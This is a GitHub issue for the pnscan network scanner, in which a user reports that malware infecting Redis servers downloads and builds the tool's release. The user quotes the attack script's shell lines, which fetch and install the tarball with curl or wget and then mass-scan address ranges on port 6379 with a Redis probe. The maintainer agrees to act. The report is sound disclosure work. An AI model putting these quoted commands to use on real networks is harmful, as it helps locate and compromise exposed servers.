Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Release used as an automatic attack tool #2

Closed
TiTi opened this issue Jun 12, 2018 · 2 comments
Closed

Release used as an automatic attack tool #2

TiTi opened this issue Jun 12, 2018 · 2 comments
Assignees

Comments

@TiTi
Copy link

TiTi commented Jun 12, 2018

Hello,

Your tool is used to automatically infect some linux machines / detect their services.
Specifically in the redis infected servers that is happening.

They use the provided package reachable at https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12

Example of payload:

if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then
curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12
sleep 1
[ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112
fi

and later on:

pnx=pnscan
[ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
[ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
$pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .r.$x.$y.o
awk '/Linux/ {print $1, $3}' .r.$x.$y.o > .r.$x.$y.l

I understand your tool is just a tool.

But I recommend you to remove the official release because bad people are currently actively using it to discover and infect machines.
Just keep the source and instructions, but remove the release. It'll immediately make those exploit scripts fail.

@ptrrkssn
Copy link
Owner

ptrrkssn commented Jun 12, 2018 via email

@ptrrkssn ptrrkssn self-assigned this Jun 12, 2018
@TiTi
Copy link
Author

TiTi commented Jun 12, 2018

Great.
Thank you for your understanding and reactivity.
👍

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants